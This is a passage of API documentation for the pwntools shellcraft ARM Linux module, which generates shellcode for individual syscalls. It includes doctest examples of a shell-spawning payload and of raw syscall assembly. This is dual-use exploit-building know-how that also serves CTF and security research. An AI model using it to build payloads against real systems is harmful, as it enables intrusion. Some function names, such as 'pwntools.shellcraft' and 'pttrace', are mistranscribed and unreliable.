- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

`pwnlib.shellcraft.arm.linux.mincore` (*start, length, vec*)

Invokes the syscall `mincore`. See ‘man 2 `mincore`’ for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

`pwnlib.shellcraft.arm.linux.mkdir` (*path, mode*)

Invokes the syscall `mkdir`. See ‘man 2 `mkdir`’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.mkdirat` (*fd, path, mode*)

Invokes the syscall `mkdirat`. See ‘man 2 `mkdirat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.mknod` (*path, mode, dev*)

Invokes the syscall `mknod`. See ‘man 2 `mknod`’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.arm.linux.mknodat` (*fd, path, mode, dev*)

Invokes the syscall `mknodat`. See ‘man 2 `mknodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.arm.linux.mlock` (*addr, length*)

Invokes the syscall `mlock`. See ‘man 2 `mlock`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.mlockall` (*flags*)

Invokes the syscall `mlockall`. See ‘man 2 `mlockall`’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.mmap` (*addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0*)

Invokes the syscall `mmap`. See ‘man 2 `mmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.arm.linux.mprotect` (*addr, length, prot*)

Invokes the syscall `mprotect`. See ‘man 2 `mprotect`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

`pwnlib.shellcraft.arm.linux.mq_notify` (*mqdes, notification*)

Invokes the syscall `mq_notify`. See ‘man 2 `mq_notify`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

`pwnlib.shellcraft.arm.linux.mq_open` (*name, oflag, vararg*)

Invokes the syscall `mq_open`. See ‘man 2 `mq_open`’ for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.mq_timedreceive` (*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall `mq_timedreceive`. See ‘man 2 `mq_timedreceive`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – `mqdes`
- **msg_ptr** (*char*) – `msg_ptr`
- **msg_len** (*size_t*) – `msg_len`
- **msg_prio** (*unsigned*) – `msg_prio`
- **abs_timeout** (*timespec*) – `abs_timeout`

`pwnlib.shellcraft.arm.linux.mq_timedsend` (*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall `mq_timedsend`. See ‘man 2 `mq_timedsend`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – `mqdes`
- **msg_ptr** (*char*) – `msg_ptr`
- **msg_len** (*size_t*) – `msg_len`
- **msg_prio** (*unsigned*) – `msg_prio`
- **abs_timeout** (*timespec*) – `abs_timeout`

`pwnlib.shellcraft.arm.linux.mq_unlink` (*name*)

Invokes the syscall `mq_unlink`. See ‘man 2 `mq_unlink`’ for more information.

Parameters

- **name** (*char*) – `name`

`pwnlib.shellcraft.arm.linux.mremap` (*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall `mremap`. See ‘man 2 `mremap`’ for more information.

Parameters

- **addr** (*void*) – `addr`
- **old_len** (*size_t*) – `old_len`
- **new_len** (*size_t*) – `new_len`
- **flags** (*int*) – `flags`
- **vararg** (*int*) – `vararg`

`pwnlib.shellcraft.arm.linux.msync` (*addr*, *length*, *flags*)

Invokes the syscall `msync`. See ‘man 2 `msync`’ for more information.

Parameters

- **addr** (*void*) – `addr`
- **len** (*size_t*) – `len`
- **flags** (*int*) – `flags`

`pwnlib.shellcraft.arm.linux.munlock` (*addr*, *length*)

Invokes the syscall `munlock`. See ‘man 2 `munlock`’ for more information.

Parameters

- **addr** (*void*) – `addr`

- **len** (*size_t*) – len

`pwntools.shellcraft.arm.linux.munlockall()`

Invokes the syscall `munlockall`. See ‘man 2 `munlockall`’ for more information.

Arguments:

`pwntools.shellcraft.arm.linux.munmap(addr, length)`

Invokes the syscall `munmap`. See ‘man 2 `munmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length

`pwntools.shellcraft.arm.linux.nanosleep(requested_time, remaining)`

Invokes the syscall `nanosleep`. See ‘man 2 `nanosleep`’ for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

`pwntools.shellcraft.arm.linux.nice(inc)`

Invokes the syscall `nice`. See ‘man 2 `nice`’ for more information.

Parameters inc (*int*) – inc

`pwntools.shellcraft.arm.linux.open(file, oflag, vararg)`

Invokes the syscall `open`. See ‘man 2 `open`’ for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwntools.shellcraft.arm.linux.open_file(filepath, flags='O_RDONLY', mode=420)`

Opens a file. Leaves the file descriptor in `r0`.

Parameters

- **filepath** (*bytes, str*) – The file to open.
- **flags** (*int, str*) – The flags to call open with.
- **mode** (*int, str*) – The attribute to create the flag. Only matters if flags & `O_CREAT` is set.

`pwntools.shellcraft.arm.linux.openat(fd, file, oflag, vararg)`

Invokes the syscall `openat`. See ‘man 2 `openat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.pause()`
 Invokes the syscall `pause`. See ‘man 2 `pause`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.pipe(pipedes)`
 Invokes the syscall `pipe`. See ‘man 2 `pipe`’ for more information.

Parameters `pipedes` (*int*) – `pipedes`

`pwnlib.shellcraft.arm.linux.pipe2(pipedes, flags)`
 Invokes the syscall `pipe2`. See ‘man 2 `pipe2`’ for more information.

Parameters

- `pipedes` (*int*) – `pipedes`
- `flags` (*int*) – `flags`

`pwnlib.shellcraft.arm.linux.poll(fds, nfds, timeout)`
 Invokes the syscall `poll`. See ‘man 2 `poll`’ for more information.

Parameters

- `fds` (*pollfd*) – `fds`
- `nfds` (*nfds_t*) – `nfds`
- `timeout` (*int*) – `timeout`

`pwnlib.shellcraft.arm.linux.ppoll(fds, nfds, timeout, ss)`
 Invokes the syscall `ppoll`. See ‘man 2 `ppoll`’ for more information.

Parameters

- `fds` (*pollfd*) – `fds`
- `nfds` (*nfds_t*) – `nfds`
- `timeout` (*timespec*) – `timeout`
- `ss` (*sigset_t*) – `ss`

`pwnlib.shellcraft.arm.linux.prctl(option, *vararg)`
 Invokes the syscall `prctl`. See ‘man 2 `prctl`’ for more information.

Parameters

- `option` (*int*) – `option`
- `vararg` (*int*) – `vararg`

`pwnlib.shellcraft.arm.linux.pread(fd, buf, nbytes, offset)`
 Invokes the syscall `pread`. See ‘man 2 `pread`’ for more information.

Parameters

- `fd` (*int*) – `fd`
- `buf` (*void*) – `buf`
- `nbytes` (*size_t*) – `nbytes`
- `offset` (*off_t*) – `offset`

`pwnlib.shellcraft.arm.linux.preadv(fd, iovec, count, offset)`
 Invokes the syscall `preadv`. See ‘man 2 `preadv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwntools.shellcraft.arm.linux.prlimit64` (*pid, resource, new_limit, old_limit*)
Invokes the syscall `prlimit64`. See ‘man 2 `prlimit64`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

`pwntools.shellcraft.arm.linux.profil` (*sample_buffer, size, offset, scale*)
Invokes the syscall `profil`. See ‘man 2 `profil`’ for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

`pwntools.shellcraft.arm.linux.pttrace` (*request, vararg*)
Invokes the syscall `ptrace`. See ‘man 2 `ptrace`’ for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

`pwntools.shellcraft.arm.linux.putpmsg` (*filides, ctlptr, dataptr, band, flags*)
Invokes the syscall `putpmsg`. See ‘man 2 `putpmsg`’ for more information.

Parameters

- **filides** (*int*) – filides
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwntools.shellcraft.arm.linux.pwrite` (*fd, buf, n, offset*)
Invokes the syscall `pwrite`. See ‘man 2 `pwrite`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.arm.linux.pwritev` (*fd, iovec, count, offset*)
 Invokes the syscall `writev`. See ‘man 2 `writev`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.arm.linux.read` (*fd, buf, nbytes*)
 Invokes the syscall `read`. See ‘man 2 `read`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.arm.linux.readahead` (*fd, offset, count*)
 Invokes the syscall `readahead`. See ‘man 2 `readahead`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.arm.linux.readdir` (*dirp*)
 Invokes the syscall `readdir`. See ‘man 2 `readdir`’ for more information.

Parameters **dirp** (*DIR*) – dirp

`pwnlib.shellcraft.arm.linux.readlink` (*path, buf, length*)
 Invokes the syscall `readlink`. See ‘man 2 `readlink`’ for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.readlinkat` (*fd, path, buf, length*)
 Invokes the syscall `readlinkat`. See ‘man 2 `readlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.readv` (*fd, iovec, count*)
 Invokes the syscall `readv`. See ‘man 2 `readv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.arm.linux.recv` (*fd, buf, n, flags*)

Invokes the syscall `recv`. See ‘man 2 `recv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.recvfrom` (*fd, buf, n, flags, addr, addr_len*)

Invokes the syscall `recvfrom`. See ‘man 2 `recvfrom`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.arm.linux.recvmsg` (*fd, vmessages, vlen, flags, tmo*)

Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*msg_hdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

`pwnlib.shellcraft.arm.linux.recvmsg` (*fd, message, flags*)

Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msg_hdr*) – message
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.remap_file_pages` (*start, size, prot, pgoff, flags*)

Invokes the syscall `remap_file_pages`. See ‘man 2 `remap_file_pages`’ for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size

- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.rename` (*old, new*)

Invokes the syscall `rename`. See ‘man 2 rename’ for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

`pwnlib.shellcraft.arm.linux.renameat` (*olddfd, old, newfd, new*)

Invokes the syscall `renameat`. See ‘man 2 renameat’ for more information.

Parameters

- **olddfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

`pwnlib.shellcraft.arm.linux.rmdir` (*path*)

Invokes the syscall `rmdir`. See ‘man 2 rmdir’ for more information.

Parameters *path* (*char*) – path

`pwnlib.shellcraft.arm.linux.sched_get_priority_max` (*algorithm*)

Invokes the syscall `sched_get_priority_max`. See ‘man 2 sched_get_priority_max’ for more information.

Parameters *algorithm* (*int*) – algorithm

`pwnlib.shellcraft.arm.linux.sched_get_priority_min` (*algorithm*)

Invokes the syscall `sched_get_priority_min`. See ‘man 2 sched_get_priority_min’ for more information.

Parameters *algorithm* (*int*) – algorithm

`pwnlib.shellcraft.arm.linux.sched_getaffinity` (*pid, cpusetsize, cpuset*)

Invokes the syscall `sched_getaffinity`. See ‘man 2 sched_getaffinity’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.arm.linux.sched_getparam` (*pid, param*)

Invokes the syscall `sched_getparam`. See ‘man 2 sched_getparam’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.arm.linux.sched_getscheduler` (*pid*)

Invokes the syscall `sched_getscheduler`. See ‘man 2 sched_getscheduler’ for more information.

Parameters *pid* (*pid_t*) – pid

`pwnlib.shellcraft.arm.linux.sched_rr_get_interval` (*pid*, *t*)

Invokes the syscall `sched_rr_get_interval`. See ‘man 2 `sched_rr_get_interval`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **t** (*timespec*) – t

`pwnlib.shellcraft.arm.linux.sched_setaffinity` (*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall `sched_setaffinity`. See ‘man 2 `sched_setaffinity`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.arm.linux.sched_setparam` (*pid*, *param*)

Invokes the syscall `sched_setparam`. See ‘man 2 `sched_setparam`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.arm.linux.sched_setscheduler` (*pid*, *policy*, *param*)

Invokes the syscall `sched_setscheduler`. See ‘man 2 `sched_setscheduler`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

`pwnlib.shellcraft.arm.linux.sched_yield` ()

Invokes the syscall `sched_yield`. See ‘man 2 `sched_yield`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.select` (*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)

Invokes the syscall `select`. See ‘man 2 `select`’ for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

`pwnlib.shellcraft.arm.linux.sendfile` (*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall `sendfile`. See ‘man 2 `sendfile`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd

- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.arm.linux.sendfile64` (*out_fd, in_fd, offset, count*)
Invokes the syscall `sendfile64`. See ‘man 2 `sendfile64`’ for more information.

Parameters

- **out_fd** (*int*) – `out_fd`
- **in_fd** (*int*) – `in_fd`
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.arm.linux.setdomainname` (*name, length*)
Invokes the syscall `setdomainname`. See ‘man 2 `setdomainname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.setgid` (*gid*)
Invokes the syscall `setgid`. See ‘man 2 `setgid`’ for more information.

Parameters

- **gid** (*gid_t*) – gid

`pwnlib.shellcraft.arm.linux.setgroups` (*n, groups*)
Invokes the syscall `setgroups`. See ‘man 2 `setgroups`’ for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.arm.linux.sethostname` (*name, length*)
Invokes the syscall `sethostname`. See ‘man 2 `sethostname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.setitimer` (*which, new, old*)
Invokes the syscall `setitimer`. See ‘man 2 `setitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.arm.linux.setpgid` (*pid, pgid*)
Invokes the syscall `setpgid`. See ‘man 2 `setpgid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.arm.linux.setpriority` (*which, who, prio*)

Invokes the syscall `setpriority`. See ‘man 2 `setpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.arm.linux.setregid` (*rgid, egid*)

Invokes the syscall `setregid`. See ‘man 2 `setregid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid

`pwnlib.shellcraft.arm.linux.setresgid` (*rgid, egid, sgid*)

Invokes the syscall `setresgid`. See ‘man 2 `setresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.arm.linux.setresuid` (*ruid, euid, suid*)

Invokes the syscall `setresuid`. See ‘man 2 `setresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.arm.linux.setreuid` (*ruid, euid*)

Invokes the syscall `setreuid`. See ‘man 2 `setreuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid

`pwnlib.shellcraft.arm.linux.setrlimit` (*resource, rlimits*)

Invokes the syscall `setrlimit`. See ‘man 2 `setrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.arm.linux.setsid` ()

Invokes the syscall `setsid`. See ‘man 2 `setsid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.setsockopt` (*sockfd, level, optname, optval, optlen*)

Invokes the syscall `setsockopt`. See ‘man 2 `setsockopt`’ for more information.

Parameters

- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*int*) – optlen

`pwnlib.shellcraft.arm.linux.setsockopt_timeout(sock, secs)`

Invokes the syscall for setsockopt with specified timeout. See ‘man 2 setsockopt’ for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

`pwnlib.shellcraft.arm.linux.settimeofday(tv, tz)`

Invokes the syscall settimeofday. See ‘man 2 settimeofday’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

`pwnlib.shellcraft.arm.linux.setuid(uid)`

Invokes the syscall setuid. See ‘man 2 setuid’ for more information.

Parameters **uid** (*uid_t*) – uid

`pwnlib.shellcraft.arm.linux.sh()`

Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.arm.linux.sigaction(sig, act, oact)`

Invokes the syscall sigaction. See ‘man 2 sigaction’ for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act
- **oact** (*sigaction*) – oact

`pwnlib.shellcraft.arm.linux.sigaltstack(ss, oss)`

Invokes the syscall sigaltstack. See ‘man 2 sigaltstack’ for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

`pwnlib.shellcraft.arm.linux.signal(sig, handler)`

Invokes the syscall signal. See ‘man 2 signal’ for more information.

Parameters

- **sig** (*int*) – sig

- **handler** (*sighandler_t*) – handler

`pwnlib.shellcraft.arm.linux.sigpending` (*set*)

Invokes the syscall `sigpending`. See ‘man 2 `sigpending`’ for more information.

Parameters `set` (*sigset_t*) – set

`pwnlib.shellcraft.arm.linux.sigprocmask` (*how, set, oset*)

Invokes the syscall `sigprocmask`. See ‘man 2 `sigprocmask`’ for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

`pwnlib.shellcraft.arm.linux.sigreturn` ()

Invokes the syscall `sigreturn`. See ‘man 2 `sigreturn`’ for more information.

`pwnlib.shellcraft.arm.linux.sigsuspend` (*set*)

Invokes the syscall `sigsuspend`. See ‘man 2 `sigsuspend`’ for more information.

Parameters `set` (*sigset_t*) – set

`pwnlib.shellcraft.arm.linux.splice` (*fdin, offin, fdout, offout, length, flags*)

Invokes the syscall `splice`. See ‘man 2 `splice`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.stat` (*file, buf*)

Invokes the syscall `stat`. See ‘man 2 `stat`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.arm.linux.stat64` (*file, buf*)

Invokes the syscall `stat64`. See ‘man 2 `stat64`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.arm.linux.stime` (*when*)

Invokes the syscall `stime`. See ‘man 2 `stime`’ for more information.

Parameters `when` (*time_t*) – when

`pwnlib.shellcraft.arm.linux.stty` (*fd, params*)

Invokes the syscall `stty`. See ‘man 2 `stty`’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.arm.linux.symlink` (*from_, to*)

Invokes the syscall `symlink`. See ‘man 2 `symlink`’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.arm.linux.symlinkat` (*from_, tofd, to*)

Invokes the syscall `symlinkat`. See ‘man 2 `symlinkat`’ for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.arm.linux.sync` ()

Invokes the syscall `sync`. See ‘man 2 `sync`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.sync_file_range` (*fd, offset, count, flags*)

Invokes the syscall `sync_file_range`. See ‘man 2 `sync_file_range`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3 /* 0 (#0) */
mov r7, #0xb
svc 0
>>> print(shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip())
/* call exit(0) */
eor r0, r0 /* 0 (#0) */
```

```
mov r7, #(SYS_exit) /* 1 */
svc 0
```

`pwnlib.shellcraft.arm.linux.syslog` (*pri, fmt, vararg*)

Invokes the syscall `syslog`. See ‘man 2 `syslog`’ for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.tee` (*fdin, fdout, length, flags*)

Invokes the syscall `tee`. See ‘man 2 `tee`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.time` (*timer*)

Invokes the syscall `time`. See ‘man 2 `time`’ for more information.

Parameters **timer** (*time_t*) – timer

`pwnlib.shellcraft.arm.linux.timer_create` (*clock_id, evp, timerid*)

Invokes the syscall `timer_create`. See ‘man 2 `timer_create`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.arm.linux.timer_delete` (*timerid*)

Invokes the syscall `timer_delete`. See ‘man 2 `timer_delete`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.arm.linux.timer_getoverrun` (*timerid*)

Invokes the syscall `timer_getoverrun`. See ‘man 2 `timer_getoverrun`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.arm.linux.timer_gettime` (*timerid, value*)

Invokes the syscall `timer_gettime`. See ‘man 2 `timer_gettime`’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

`pwnlib.shellcraft.arm.linux.timer_settime` (*timerid, flags, value, ovalue*)

Invokes the syscall `timer_settime`. See ‘man 2 `timer_settime`’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid

- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

`pwnlib.shellcraft.arm.linux.truncate` (*file*, *length*)

Invokes the syscall truncate. See ‘man 2 truncate’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

`pwnlib.shellcraft.arm.linux.truncate64` (*file*, *length*)

Invokes the syscall truncate64. See ‘man 2 truncate64’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

`pwnlib.shellcraft.arm.linux.ulimit` (*cmd*, *vararg*)

Invokes the syscall ulimit. See ‘man 2 ulimit’ for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.umask` (*mask*)

Invokes the syscall umask. See ‘man 2 umask’ for more information.

Parameters **mask** (*mode_t*) – mask

`pwnlib.shellcraft.arm.linux.uname` (*name*)

Invokes the syscall uname. See ‘man 2 uname’ for more information.

Parameters **name** (*utsname*) – name

`pwnlib.shellcraft.arm.linux.unlink` (*name*)

Invokes the syscall unlink. See ‘man 2 unlink’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.arm.linux.unlinkat` (*fd*, *name*, *flag*)

Invokes the syscall unlinkat. See ‘man 2 unlinkat’ for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.unshare` (*flags*)

Invokes the syscall unshare. See ‘man 2 unshare’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.ustat` (*dev*, *ubuf*)

Invokes the syscall ustat. See ‘man 2 ustat’ for more information.

Parameters

- **dev** (*dev_t*) – dev
- **ubuf** (*ustat*) – ubuf

`pwnlib.shellcraft.arm.linux.utime` (*file, file_times*)

Invokes the syscall utime. See ‘man 2 utime’ for more information.

Parameters

- **file** (*char*) – file
- **file_times** (*utimbuf*) – file_times

`pwnlib.shellcraft.arm.linux.utimensat` (*fd, path, times, flags*)

Invokes the syscall utimensat. See ‘man 2 utimensat’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **times** (*timespec*) – times
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.utimes` (*file, tvp*)

Invokes the syscall utimes. See ‘man 2 utimes’ for more information.

Parameters

- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.arm.linux.vfork` ()

Invokes the syscall vfork. See ‘man 2 vfork’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.vhangup` ()

Invokes the syscall vhangup. See ‘man 2 vhangup’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.vmsplice` (*fdout, iov, count, flags*)

Invokes the syscall vmsplice. See ‘man 2 vmsplice’ for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov
- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.wait4` (*pid, stat_loc, options, usage*)

Invokes the syscall wait4. See ‘man 2 wait4’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options

- **usage** (*rusage*) – usage

`pwnlib.shellcraft.arm.linux.waitid` (*idtype, id, infop, options*)
 Invokes the syscall waitid. See ‘man 2 waitid’ for more information.

